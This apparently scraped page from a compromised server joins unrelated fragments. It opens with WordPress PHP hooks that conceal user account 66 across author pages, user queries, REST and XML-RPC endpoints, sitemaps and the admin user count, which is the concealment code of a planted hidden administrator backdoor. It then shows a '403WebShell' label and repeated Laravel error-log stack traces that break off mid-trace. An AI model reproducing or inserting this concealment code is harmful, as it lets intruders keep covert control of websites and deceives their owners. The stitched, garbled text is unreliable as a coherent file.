add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
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PHP Version : 8.4.23
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[2026-06-02 12:09:44] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:09:52] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:10:12] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
